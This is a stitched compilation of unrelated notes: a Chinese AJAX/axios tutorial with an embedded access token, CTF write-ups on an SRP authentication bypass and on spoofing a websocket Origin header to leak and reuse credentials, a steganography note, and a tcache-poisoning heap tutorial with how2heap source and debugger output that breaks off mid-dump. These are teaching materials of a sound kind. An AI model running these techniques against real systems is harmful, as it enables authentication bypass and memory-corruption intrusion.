- AJAX 是与服务器交换数据并更新部分网页的艺术，在不重新加载整个页面的情况下
### AJAX工作原理
### 请求方法
方法（参数） | 描述
----------------------------------- | ----------------------------------------------------
axios.request(config) | 未指名的请求（请求方法在 config 中指定）
axios.get(url[, config]) | 索取数据（一般只向服务器发送简单的数据）
axios.delete(url[, config]) | 删除某一个资源（一般很少用到）
axios.head(url[, config]) | 判断资源是否存在（HEAD不含有呈现数据，而仅仅是HTTP头信息）
axios.post(url[, data[, config]]) | 提交数据（发送用户输入，不是采用7位的ASCII编码数据，URL过长）
axios.put(url[, data[, config]]) | 更新请求（一般需要一个完整的 UserInfo）
axios.patch(url[, data[, config]]) | 局部更新（表示该请求是一个局部更新，后端仅更新接收到的字段）
### `XMLHttpRequest`对象
`XMLHttpRequest`用于在后台与服务器交换数据。这意味着可以在不重新加载整个网页的情况下，对网页的某部分进行更新。
**创建`XMLHttpRequest`对象的语法**
```
var xml = new XMLHttpRequest()
```
### 请求
**向服务器发送请求**
```
xml.open('method','url',async);
```
- method：请求的类型；GET 或 POST
- url：文件在服务器上的位置
- async：true（异步）或 false（同步）
**将请求发送到服务器**
```
xml.send(string)
```
string：仅用于 POST 请求
**例**：发送一个`GET`请求
```
var xml = new XMLHttpRequest()
xml.open('GET','https://api.github.com/users/l552177239',true)
xml.send()
```
**向一个POST请求添加请求头**
如果需要像 HTML 表单那样 POST 数据，请使用`setRequestHeader()`来添加 HTTP 头。然后在`send()`方法中规定您希望发送的数据。
```
setRequestHeader(header,value)
```
- header: 规定头的名称
- value: 规定头的值
**例**：通过`access token`，发送一个登陆的`POST`请求,
```
xml.open('POST','https://cnodejs.org/api/v1/accesstoken',true);
xml.setRequestHeader("Content-type","application/json");
let date = {
accesstoken:'3f77acb1-d753-4393-b784-44913190e6a8'
}
xml.send(JSON.stringify(date))
```
### 响应
**服务器响应**
如需获得来自服务器的响应，请使用`XMLHttpRequest`对象的`responseText`或`responseXML`属性。
属性 | 描述
--------------- | ------------------------------------------
responseText | 获得字符串形式的响应数据。
responseXML | 获得 XML 形式的响应数据。
将服务器返回的数据转换为字符串
```
var text = JSON.parse(xml.responseText)
```
### `onreadystatechange`事件
XMLHttpRequest 对象的三个重要的属性
属性 | 描述
-------------------- | --------------------------------------------------------
onreadystatechange | 存储函数（或函数名），每当readyState属性改变时，就会调用该函数。
readyState | 存有 XMLHttpRequest 的状态。从 0 到 4 发生变化。<br> - 0: 请求未初始化<br> - 1: 服务器连接已建立<br> - 2: 请求已接收<br> - 3: 请求处理中<br> - 4: 请求已完成，且响应已就绪
status |200: "OK"<br>404: 未找到页面
**onreadystatechange**
在`onreadystatechange`事件中，我们规定当服务器响应已做好被处理的准备时所执行的任务。
当`readyState`等于 4 且状态为 200 时，表示响应已就绪：
```
xml.onreadystatechange=function()
{
if (xml.readyState==4 && xml.status==200)
{
document.getElementById("myDiv").innerHTML=xml.responseText;
}
}
```
**例**：在 HTML 内渲染帐号的`id`和服务器返回的 JSON 数据
```html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<div id="q">
</div>
<p id='l'></p>
<script>
var xml = new XMLHttpRequest();
xml.onreadystatechange=function(){
if (xml.readyState===4 && xml.status===200){
console.log('json',xml.responseText)
let date = JSON.parse(xml.responseText)
q.innerText =date.id
document.getElementById("l").innerText=xml.responseText;
}
}
xml.open('POST','https://cnodejs.org/api/v1/accesstoken',true);
xml.setRequestHeader("Content-type","application/json");
let date = {
accesstoken:'3f77acb1-d753-4393-b784-44913190e6a8'
}
xml.send(JSON.stringify(date))
</script>
</body>
</html>
```
### 利用组件发AJAX请求
**JQ的`ajax`方法**
```
<script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.min.js"></script>
<script>
$.ajax({
url:'https://api.github.com/users/l552177239',
success:function(data,state,XHR){
console.log(data,state,XHR)
},
error:function(data,state,XHR){
console.log(data,state,XHR)
}
})
</script>
```
**例**：搜索账号
```
<body>
<div class="wrap">
<input type="text" id='username' placeholder="请输入帐号" />
<input type="button" id='search' value="搜索" />
<p id='playground'></p>
</div>
<script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.min.js"></script>
<script>
$('#search').click(function(){
var username = $('#username').val()
$.ajax({
url:'https://api.github.com/users/'+username,
success:function(data,state,XHR){
//console.log(data,state,XHR)
var str = ''
str += `<h3>用户名：${data.login}</h3><img src="${data.avatar_url}" alt="头像" /><p>最近更新时间：${data.updated_at}</p>`
$('#playground').html(str)
},
error:function(data,state,XHR){
alert('很抱歉，搜索失败,错误为：'+error)
}
})
})
</script>
</body>
```
- W3C的`ajax`方法：[点击跳转](http://www.w3school.com.cn/jquery/ajax_ajax.asp)
- JQ官网的方法：[点击跳转](http://api.jquery.com/category/ajax/global-ajax-event-handlers/)
- JQ中文文档地址：[点击跳转](http://www.css88.com/jqapi-1.9/category/ajax/global-ajax-event-handlers/)
**ES6的`Promise`方法**
```
<script>
var test = new Promise( function(resolve, reject){
console.log('执行中')
setTimeout(function(){
console.log('完成')
resolve()
},5000)
}).then(function(){
console.log('真慢')
}).catch(function(){
console.log('完不成了')
})
</script>
```
- MDN参考地址：[点击跳转](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise)
- ES6入门：[点击跳转](http://es6.ruanyifeng.com/#docs/promise)
**Window新增的`fetch`方法**
```
<script>
fetch('https://api.github.com/users/l552177239')
.then(function(data){
return data.json()
}).then(function(json){
console.log(json)
}).catch(function(err){
console.log(err)
})
</script>
```
- MDN参考地址：[点击跳转](https://developer.mozilla.org/zh-CN/docs/Web/API/Fetch_API/Using_Fetch)
**axios库**
```
<script src="https://unpkg.com/axios/dist/axios.min.js"></script>
<script>
axios.get('https://api.github.com/users/l552177239')
.then(function (response) {
console.log(response.data);
})
.catch(function (error) {
console.log(error);
})
</script>
```
- Github参考地址：[点击跳转](https://github.com/mzabriskie/axios)
- 中文文档地址：[点击跳转](https://www.kancloud.cn/yunye/axios/234845)
### 参考
- happypeter的好奇猫：[点击跳转](https://www.haoqicat.com/meteor-express-ajax/1-1-ajax-intro)
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sec-knowleage
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### Arm ROP预备知识
先看一下 arm 下的函数调用约定，函数的第 1 ～ 4 个参数分别保存在 **r0 ～ r3** 寄存器中， 剩下的参数从右向左依次入栈， 被调用者实现栈平衡，函数的返回值保存在 **r0** 中
除此之外，arm 的 **b/bl** 等指令实现跳转; **pc** 寄存器相当于 x86 的 eip，保存下一条指令的地址，也是我们要控制的目标
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sec-knowleage
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## Tonnerre (Crypto, 200 points, 119 solves)
We were pretty sure the service at tonnerre.pwning.xxx:8561 (source) was totally secure.
But then we came across this website and now we’re having second thoughts...
We think they store the service users in the same database?
###ENG
[PL](#pl-version)
This task consisted of two parts: website vulnerable to SQL injection and server authenticating via `zero knowledge proof protocol` specifically `Secure Remote Password protocol`.
Using [script](doit.py) we quickly exploited the SQL vulnerability to dump information about the only user stored in database: `username`, `verifier` and `salt` (although we didn't need salt).
The next part was forcing [server script](public_server.py) to authenticate us and get the flag.
The idea of zero knowledge proof is that the server aka `verifier` knows a `secret` and challenges the user to prove that the user also knows the `secret`.
This has to happen without disclosing the `secret` itself so no part of the `secret` should ever be transmitted.
The general approach to this problem is that the `verifier` provides a random task that can be solved only by someone with `secret`.
In our case the server prompted us for some number (denoted as `pC`) and calculated:
```
c=(pC*v)%N
if c not in forbidden set:
r=random(2,N-3)
pS=(g**r)%N
res=(pS+v)%N
secret=((pC*b)**r)%N
key=f(res, secret)
```
It then sent us `res` and asked for resulting key.
We know `N` and `g` from the source code, while `v` is the verifier value we extracted via SQL injection.
It is easy to see that if we know `res`, we can calculate `pS`.
This is because `pS` has to be less than `N` (it is reminder from division modulo `N`) and we know the value of `v` which is in the same order as `N`.
This implies that `pS+v` has to be between `v` and `2N-1` and thus the modular division reminder of `res=(pS+v) mod N` can be:
- Bigger than `v` which means that `pS` was small enough that the sum `pS+v` did not exceed `N` and this means the `pS = res - v`
- Smaller than `v` and this means the actual sum was greater than `N` and got cut by modulo and therefore `pS = res - v + N`
Our case was the second one.
Now the task can be stated as follows:
```
Given pS, N, v, g
knowing pS=g**r % N,
find (pC*v)**r % N for any pC.
```
We can see that the numbers we need to find and the one we know are quite similar - they are both something to the power of `r` modulo `N`.
If we make bases equal, we would succeed.
Indeed, it is quite easy to find solution of equation:
```
pC*v=g (mod N)
```
We can multiply both sides by modular inverse of `v` mod `N` and get:
```
pC*v*modinv(v)=g*modinv(v) (mod N)
pC=g*modinv(v) (mod N)
```
Unfortunately, this solution would not be accepted, as this particular `pC` is in forbidden set.
So are also the obvious solutions like `pC=0` which would give `0**r % N = 0`
Since the only thing we can use is the value of `g**r (mod N)` it's clear that the `pC*v` has to be connected with `g`.
We also know that the most natural operation when dealing with modular powers are powers so we figure that we could square our "known" equation, to get:
```
pS**2=(g**2)**r (mod N)
```
So we know the value of `(g**2)**r (mod N)` and we need to convince the server to ask us to provide this value, so we need to provide such `pC` so that `pC*v mod N == g**2 mod N`
Repeating steps above to this equation, we get:
```
pC=(g**2)*modinv(v) (mod N)
```
And therefore is we provide such `pC` the server will ask us for the value of:
```
(pC*v)**r = ((g**2)*modinv(v)*v)**r = (g**2)**r = (g**r)**2 = pS**2 (mod N)
```
And since we know `pS`, the task is solved and the flag is `PCTF{SrP_v1_BeSt_sRp_c0nf1rm3d}` - actual implementation is [here](solve.py).
###PL version
Zadanie składało się z dwóch części: strony podatnej na SQL injection oraz serwera autentykującego za pomocą `zero knowledge proof protocol`, konkretnie `Secure Remote Password protocol`.
Korzystając ze [skryptu](doit.py) szybko exploitowalismy podatność SQL i pobralismy informacje na temat jedynego użytkownika z nazy danych - `username`, `verifier` i `salt` (akurat salt nie był nam potrzebny).
Następny krok to zmuszenie [skryptu serwera](public_server.py) aby nas zautentykował i podał flagę.
Idea zero knowledge proof polega na tym, ze server czyli `verifier` zna pewien `sekret` i daje użytkownikowi do rozwiązania zadanie które ma potwierdzić że użytkownik także zna `sekret`.
To musi odbywać się bez odkrycia `sekretu` więc żadna jego część nie może zostać transmitowana.
Ogóle podejście do tego problemu polega na tym, że `verifier` generuje losowe zadanie możliwe do rozwiązania tylko przez kogoś z `sekretem`
W naszym przypadku serwer pytał o pewną liczbę (oznaczoną dalej jako `pC`) i obliczał:
```
c=(pC*v)%N
if c not in forbidden set:
r=random(2,N-3)
pS=(g**r)%N
res=(pS+v)%N
secret=((pC*b)**r)%N
key=f(res, secret)
```
Następnie przesyłał nam wartość `res` i pytał o wynikowy klucz.
Wiemy ile wynoszą `N` oraz `g` z źródła serwera, podczas gdy `v` zostało przez nas wyciągnięte z bazy danych przez SQL Injection.
Łatwo zauważyć że jeśli znamy `res` to możemy łatwo policzyć `pS`.
Wynika to z faktu, że `pS` musi być mniejsze od `N` (to reszta z dzielenia przez `N`) oraz znamy wartość `v` która jest tego samego rzędu co `N`.
To oznacza, że `pS+v` musiby być pomiędzy `v` i `2N-1` a z tego wynika że reszta z dzielenia modulo `res=(pS+v) mod N` może być:
- Większa od `v` co znaczy, że `pS` było małe i suma nie przekroczyła `N` i tym samym `pS = res - v`
- Mniejsza od `v` co znaczy, że suma była większa od `N` i została obcięta przez modulo i tym samym `pS = res - v + N`
W naszym przypadku prawdziwa była sytuacja numer 2.
Teraz zadanie można przedstawić jako:
```
Mając dane pS, N, v, g
wiedząc że pS=g**r % N,
znajdź (pC*v)**r % N dla pewnego pC.
```
Możemy zauważyć, że liczby których szukamy i które znamy są dość podobne - i tutaj i tutaj mamy `r`-te potęgi modulo `N`.
Gdybyśmy mogli ustalić identyczne podstawy potęg rozwiązalibyśmy zadanie.
Łatwo wyliczyć potrzebną wartość `pC` z równania:
```
pC*v=g (mod N)
```
Możemy obustronnie pomnożyć to przez modinv `v` mod `N` i dostajemy:
```
pC*v*modinv(v)=g*modinv(v) (mod N)
pC=g*modinv(v) (mod N)
```
Niestety takie rozwiązanie znajduje się w zbiorze zabronionych wartości dla `pC`.
Podobnie jest z innymi oczywistymi rozwiązaniami jak `pC=0` które dałoby łatwe do przewidzenia `0**r % N = 0`
Jako że jedyna wartość którą możemy wykorzystać to `g**r (mod N)` jest jasne że `pC*v` musi mimo wszystko być powiązane z `g`.
Wiemy też, że najbardziej naturalną operacją kiedy mamy do czynienia z potęgowaniem jest potęgowanie, dochodzimy więc do wniosku, że moglibyśmy podnieść znane równanie do kwadratu dostając:
```
pS**2=(g**2)**r (mod N)
```
Wiemy więc teraz ile wynosi `(g**2)**r (mod N)` i potrzebujemy przekonać serwer aby spytał nas o tą właśnie wartość, więc musimy dostarczyć takie `pC` że `pC*v mod N == g**2 mod N`
Wykonujac kroki podobne jak powyżej dla nowego równania dostajemy:
```
pC=(g**2)*modinv(v) (mod N)
```
I tym samym jeśli podamy tak wyliczone `pC` serwer zapyta nas o:
```
(pC*v)**r = ((g**2)*modinv(v)*v)**r = (g**2)**r = (g**r)**2 = pS**2 (mod N)
```
A wartość `pS` jest nam znana więc zadanie jest rozwiązane i flaga to `PCTF{SrP_v1_BeSt_sRp_c0nf1rm3d}` - całe rozwiązanie dostępne [tutaj](solve.py)
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sec-knowleage
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# Bad Route
* Category: Web
* 200 Points
* Solved by the JCTF Team
## Description
> Our company belive that if we go on the bad route of environment pollution we have a direct effect on human health.
>
> However, some energy companies that are destroying the planet are tried to takedown our website.
>
> Your mission is to make sure that our new website is secure.
## Solution
The attached website is a simple site with three pages: A home page, an "about" page and a login page. No obvious vulnerabilities related to the login page, so we dive into the sources:
```html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>The Parllel Ocean</title>
<base href="/">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="icon" type="image/x-icon" href="favicon.ico">
<script>window.global = window;</script>
<link rel="stylesheet" href="styles.3ff695c00d717f2d2a11.css"></head>
<body>
<app-root></app-root>
<script src="runtime.acf0dec4155e77772545.js" defer></script><script src="polyfills.35a5ca1855eb057f016a.js" defer></script><script src="main.b8c73a19106d54f04466.js" defer></script></body>
</html>
```
This is a React application where most of the logic resides in the Javascript code. So, we dive deeper into the Javascript sources.
Scanning through `main`, we encounter the following code:
```javascript
class t {
constructor() {}
connect() {
new WebSocket("wss://securityocean.corp.local/admin/log")
}
}
```
This websocket looks interesting. We couldn't find a way to trigger this flow via the website, but we can trigger it manually too via the Javascript Developer Console:
```javascript
var ws = new WebSocket("wss://securityocean.corp.local/admin/log");
ws.onopen = function () {
console.log('Connection opened');
};
ws.onmessage = function (evt) {
console.log("Message received = " + evt.data);
};
ws.onclose = function () {
console.log("Connection closed");
};
```
Output:
```
GET wss://securityocean.corp.local/admin/log
Firefox can’t establish a connection to the server at wss://securityocean.corp.local/admin/log.
Connection closed
```
This makes sense, since we're trying to connect to a `.local` domain:
> The domain name local is a special-use domain name reserved by the Internet Engineering Task Force (IETF) so that it may not be installed as a top-level domain in the Domain Name System (DNS) of the Internet. ([Wikipedia](https://en.wikipedia.org/wiki/.local))
But what if we change the domain to the external one:
```javascript
var ws = new WebSocket("wss://badroute.appsecil.ctf.today/admin/log");
ws.onopen = function () {
console.log('Connection opened');
};
ws.onmessage = function (evt) {
console.log("Message received = " + evt.data);
};
ws.onclose = function () {
console.log("Connection closed");
};
```
Output:
```
GET wss://badroute.appsecil.ctf.today/admin/log
Message received = {"error":"Bad origin provided, abort connection. Expect: ['securityocean.corp.local']"}
Connection closed
```
We now get an error message that the origin should be `securityocean.corp.local`.
> The Origin request header indicates where a fetch originates from. It doesn't include any path information, but only the server name. It is sent with CORS requests, as well as with POST requests. It is similar to the Referer header, but, unlike this header, it doesn't disclose the whole path.
One way to achieve this is to edit the `hosts` file, add an entry for `securityocean.corp.local`, visit it in the browser and rerun the Javascript code above. Another way is via Python:
```python
import asyncio
import websockets
async def ws_connect():
async with websockets.connect(
"wss://badroute.appsecil.ctf.today/admin/log",
origin = "https://securityocean.corp.local"
) as websocket:
for i in range(5):
output = await websocket.recv()
print(f"< {output}")
asyncio.get_event_loop().run_until_complete(ws_connect())
```
Output:
```console
root@kali:/media/sf_CTFs/appsec/Bad_Route# python3 solve.py
< {"msg":{"email":"livnaAppSec@hotmail.com","pass":"tSec43PasswordL"},"error":"Incorrect username or password."}
< {"msg":{"email":"livnaAppSec@hotmail.com","pass":"tSec43PasswordLivna "},"error":"Incorrect username or password."}
< {"msg":{"email":"livnaAppSec@hotmail.com","pass":"tSec43PasswordL"},"error":"Incorrect username or password."}
< {"msg":{"email":"livnaAppSec@hotmail.com","pass":"tSec43PasswordLivna "},"error":"Incorrect username or password."}
< {"msg":{"email":"livnaAppSec@hotmail.com","pass":"tSec43PasswordL"},"error":"Incorrect username or password."}
```
We can now use the credentials we've received:
```console
root@kali:/media/sf_CTFs/appsec/Bad_Route# curl 'https://badroute.appsecil.ctf.today/users/authenticate' -H 'Content-Type: application/json' --data-raw '{"username":"livnaAppSec@hotmail.com","password":"tSec43PasswordLivna"}' && echo
{"msg":"Congrats! Your Flag is AppSec-IL{Th3_W3bS0ckets_N33ds_2BS3cre}","status":200}
```
The flag: `AppSec-IL{Th3_W3bS0ckets_N33ds_2BS3cre}`
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sec-knowleage
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# pastaAAA
Forensics, 350 points
## Description:
> This pasta is up to no good. There MUST be something behind it.
## Solution:
Using `stegsolve` or [this online tool](https://georgeom.net/StegOnline/image), it's possible to browse through all available planes.
We eventually find the following hidden layer:
The flag: `picoCTF{pa$ta_1s_lyf3}`.
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sec-knowleage
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## tcache makes heap exploitation easy again
### 0x01 Tcache overview
在 tcache 中新增了两个结构体，分别是 tcache_entry 和 tcache_perthread_struct
```C
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
```
其中有两个重要的函数， `tcache_get()` 和 `tcache_put()`:
```C
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
static void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
```
这两个函数会在函数 [_int_free](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l4173) 和 [__libc_malloc](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l3051) 的开头被调用，其中 `tcache_put` 当所请求的分配大小不大于`0x408`并且当给定大小的 tcache bin 未满时调用。一个tcache bin中的最大块数`mp_.tcache_count`是`7`。
```c
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
#endif
```
再复习一遍 `tcache_get()` 的源码
```C
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
```
在 `tcache_get` 中，仅仅检查了 **tc_idx** ，此外，我们可以将 tcache 当作一个类似于 fastbin 的单独链表，只是它的check，并没有 fastbin 那么复杂，仅仅检查 ` tcache->entries[tc_idx] = e->next;`
### 0x02 Tcache Usage
- 内存释放：
可以看到，在free函数的最先处理部分，首先是检查释放块是否页对齐及前后堆块的释放情况，便优先放入tcache结构中。
```c
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */
size = chunksize (p);
/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p);
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
#endif
......
}
```
- 内存申请：
在内存分配的malloc函数中有多处，会将内存块移入tcache中。
（1）首先，申请的内存块符合fastbin大小时并且在fastbin内找到可用的空闲块时，会把该fastbin链上的其他内存块放入tcache中。
（2）其次，申请的内存块符合smallbin大小时并且在smallbin内找到可用的空闲块时，会把该smallbin链上的其他内存块放入tcache中。
（3）当在unsorted bin链上循环处理时，当找到大小合适的链时，并不直接返回，而是先放到tcache中，继续处理。
代码太长就不全贴了，贴个符合fastbin 的时候
```c
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
else
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}
```
- tcache 取出：在内存申请的开始部分，首先会判断申请大小块，在tcache是否存在，如果存在就直接从tcache中摘取，否则再使用_int_malloc分配。
- 在循环处理unsorted bin内存块时，如果达到放入unsorted bin块最大数量，会立即返回。默认是0，即不存在上限。
```c
#if USE_TCACHE
/* If we've processed as many chunks as we're allowed while
filling the cache, return one of the cached ones. */
++tcache_unsorted_count;
if (return_cached
&& mp_.tcache_unsorted_limit > 0
&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
{
return tcache_get (tc_idx);
}
#endif
```
- 在循环处理unsorted bin内存块后，如果之前曾放入过tcache块，则会取出一个并返回。
```c
#if USE_TCACHE
/* If all the small chunks we found ended up cached, return one now. */
if (return_cached)
{
return tcache_get (tc_idx);
}
#endif
```
### 0x03 Pwn Tcache
#### tcache poisoning
通过覆盖 tcache 中的 next，不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。
以 how2heap 中的 [tcache_poisoning](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/tcache_poisoning.c) 为例
看一下源码
```C
glibc_2.26 [master●] bat tcache_poisoning.c
───────┬─────────────────────────────────────────────────────────────────────────────────
│ File: tcache_poisoning.c
───────┼─────────────────────────────────────────────────────────────────────────────────
1 │ #include <stdio.h>
2 │ #include <stdlib.h>
3 │ #include <stdint.h>
4 │
5 │ int main()
6 │ {
7 │ fprintf(stderr, "This file demonstrates a simple tcache poisoning attack
│ by tricking malloc into\n"
8 │ "returning a pointer to an arbitrary location (in this case, the
│ stack).\n"
9 │ "The attack is very similar to fastbin corruption attack.\n\n");
10 │
11 │ size_t stack_var;
12 │ fprintf(stderr, "The address we want malloc() to return is %p.\n", (char
│ *)&stack_var);
13 │
14 │ fprintf(stderr, "Allocating 1 buffer.\n");
15 │ intptr_t *a = malloc(128);
16 │ fprintf(stderr, "malloc(128): %p\n", a);
17 │ fprintf(stderr, "Freeing the buffer...\n");
18 │ free(a);
19 │
20 │ fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
21 │ fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of t
│ he data at %p\n"
22 │ "to point to the location to control (%p).\n", sizeof(intptr_t),
│ a, &stack_var);
23 │ a[0] = (intptr_t)&stack_var;
24 │
25 │ fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
26 │ fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
27 │
28 │ intptr_t *b = malloc(128);
29 │ fprintf(stderr, "2st malloc(128): %p\n", b);
30 │ fprintf(stderr, "We got the control\n");
31 │
32 │ return 0;
33 │ }
───────┴─────────────────────────────────────────────────────────────────────────────────
```
运行结果是
```bash
glibc_2.26 [master●] ./tcache_poisoning
This file demonstrates a simple tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this case, the stack).
The attack is very similar to fastbin corruption attack.
The address we want malloc() to return is 0x7fff0d28a0c8.
Allocating 1 buffer.
malloc(128): 0x55f666ee1260
Freeing the buffer...
Now the tcache list has [ 0x55f666ee1260 ].
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x55f666ee1260
to point to the location to control (0x7fff0d28a0c8).
1st malloc(128): 0x55f666ee1260
Now the tcache list has [ 0x7fff0d28a0c8 ].
2st malloc(128): 0x7fff0d28a0c8
We got the control
```
分析一下，程序先申请了一个大小是 128 的 chunk，然后 free。128 在 tcache 的范围内，因此 free 之后该 chunk 被放到了 tcache 中，调试如下：
```asm
pwndbg>
0x0000555555554815 18 free(a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
......
RDI 0x555555756260 ?— 0x0
......
RIP 0x555555554815 (main+187) ?— call 0x555555554600
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
......
? 0x555555554815 <main+187> call free@plt <0x555555554600>
ptr: 0x555555756260 ?— 0x0
......
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
......
? 18 free(a);
......
────────────────────────────────────────[ STACK ]────────────────────────────────────────
......
pwndbg> ni
20 fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7
RDX 0x0
RDI 0x1
RSI 0x555555756010 ?— 0x100000000000000
R8 0x0
R9 0x7fffffffb78c ?— 0x1c00000000
R10 0x911
R11 0x7ffff7aa0ba0 (free) ?— push rbx
R12 0x555555554650 (_start) ?— xor ebp, ebp
R13 0x7fffffffe0a0 ?— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15
RSP 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15
RIP 0x55555555481a (main+192) ?— mov rax, qword ptr [rip + 0x20083f]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
0x555555554802 <main+168> lea rdi, [rip + 0x2bd]
0x555555554809 <main+175> call fwrite@plt <0x555555554630>
0x55555555480e <main+180> mov rax, qword ptr [rbp - 8]
0x555555554812 <main+184> mov rdi, rax
0x555555554815 <main+187> call free@plt <0x555555554600>
? 0x55555555481a <main+192> mov rax, qword ptr [rip + 0x20083f] <0x555555755060>
0x555555554821 <main+199> mov rdx, qword ptr [rbp - 8]
0x555555554825 <main+203> lea rsi, [rip + 0x2b4]
0x55555555482c <main+210> mov rdi, rax
0x55555555482f <main+213> mov eax, 0
0x555555554834 <main+218> call fprintf@plt <0x555555554610>
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
15 intptr_t *a = malloc(128);
16 fprintf(stderr, "malloc(128): %p\n", a);
17 fprintf(stderr, "Freeing the buffer...\n");
18 free(a);
19
? 20 fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
21 fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
22 "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
23 a[0] = (intptr_t)&stack_var;
24
25 fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15
01:0008│ 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp
02:0010│ 0x7fffffffdfb0 —? 0x7fffffffe0a0 ?— 0x1
03:0018│ 0x7fffffffdfb8 —? 0x555555756260 ?— 0x0
04:0020│ rbp 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15
